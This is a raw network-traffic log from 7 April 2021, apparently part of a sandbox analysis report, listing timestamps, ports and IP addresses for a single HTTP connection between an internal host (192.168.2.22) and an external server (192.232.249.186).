Apr 7, 2021 05:54:08.045598984 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045603991 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.045627117 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045644045 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045715094 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.045787096 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045804024 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045819998 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045836926 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045852900 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045866966 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.045870066 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045893908 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.045927048 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.045964003 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045980930 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.045998096 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.046015978 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.046041012 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.046063900 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.046128988 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.046145916 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.046161890 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.046179056 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.046183109 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.046219110 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.048851013 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.206753016 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.206813097 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.206845999 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.206876993 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.207096100 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.208825111 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.208884001 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.208992004 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209228992 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209273100 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209276915 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209287882 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209312916 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209328890 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209352970 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209372044 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209403038 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209481001 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209527016 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209546089 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209574938 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209577084 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209619999 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209634066 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209660053 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209666967 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209713936 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209717035 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209757090 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209773064 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209796906 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209813118 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209836006 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209850073 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209877014 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209889889 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209914923 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209930897 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.209964037 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.209969997 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210005999 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210026026 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210046053 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210057974 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210087061 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210103035 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210128069 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210130930 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210165977 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210180998 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210206032 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210302114 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210342884 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210355997 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210383892 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210397005 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210422993 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210424900 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210459948 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210478067 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210503101 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210503101 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210542917 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210556984 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210582972 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210592031 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210635900 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210653067 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210674047 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210686922 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210727930 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210728884 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210784912 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210844040 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210879087 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210894108 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.210906982 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.210949898 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.213310003 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.227387905 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.368067026 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.368129969 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.368168116 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.368206978 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.368237019 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.368246078 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.368274927 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.368295908 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.368303061 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.368333101 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.368340015 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.368379116 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.368402958 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.368427992 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.369771004 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.369822025 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.369843960 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.369868994 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.370764017 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375261068 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375303030 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375330925 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375339985 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375363111 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375391960 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375402927 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375444889 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375451088 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375479937 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375483990 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375525951 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375530958 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375552893 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375557899 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375591040 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375628948 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375643015 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375667095 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375677109 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375705004 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375715971 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375760078 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375770092 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375797033 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375798941 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375842094 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375842094 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375883102 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375889063 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375915051 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375921011 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375961065 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.375966072 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375993013 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.375999928 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376048088 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376049042 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376091003 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376095057 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376130104 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376135111 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376161098 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376169920 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376208067 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376218081 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376240969 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376245975 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376286030 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376315117 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376323938 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376342058 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376368999 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376372099 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376415014 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376418114 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376452923 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376462936 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376492977 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376497984 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376533985 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376538992 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376564980 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376570940 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376610994 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376617908 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376650095 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376660109 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376686096 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376698017 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376739979 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.376744032 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.376770973 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.377126932 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.379463911 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.388422012 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.388484001 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.388485909 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.388524055 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.390062094 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.530690908 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.530721903 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.530752897 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.530771971 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.530791044 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.530812025 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.530831099 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.530939102 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.530956984 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.530973911 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.531009912 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.532807112 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.532828093 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.532948971 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.533968925 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.538495064 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.538582087 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.538639069 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.538710117 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.538985014 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.539021969 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.539030075 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.539062023 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.539064884 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.539099932 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.539108992 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.539138079 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.539910078 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.539931059 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.539956093 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.539988995 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.541408062 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542068958 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542088032 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542105913 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542119026 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542140007 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542140007 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542159081 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542176008 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542177916 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542191982 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542210102 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542210102 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542239904 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542241096 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542259932 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542282104 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542284966 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542300940 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542314053 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542319059 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542331934 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542345047 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542370081 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542380095 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542397022 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542402983 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542413950 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542432070 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542433023 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542448997 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542459965 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542469978 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542486906 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542494059 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542504072 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542524099 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542536020 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542551041 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542555094 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542572975 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542579889 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542588949 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542608976 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542608976 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542629004 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.542637110 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.542665958 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.543751955 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.550741911 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.550764084 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.550793886 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.550806046 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.562045097 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.693996906 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694035053 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694055080 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694081068 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694104910 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694129944 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694154978 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694180012 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694204092 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694217920 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694248915 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694257021 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694295883 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694325924 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694364071 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694379091 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694380999 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694406033 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694411039 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694432020 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694461107 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694468975 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694485903 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694521904 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694574118 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694601059 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694626093 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694642067 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694648981 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694672108 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694698095 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694700956 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694756985 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694816113 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694833040 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694871902 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694890022 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694935083 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694942951 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694956064 CEST	80	49167	192.232.249.186	192.168.2.22
Apr 7, 2021 05:54:08.694987059 CEST	49167	80	192.168.2.22	192.232.249.186
Apr 7, 2021 05:54:08.694999933 CEST	80	49167	192.232.249.186	192.168.2.22
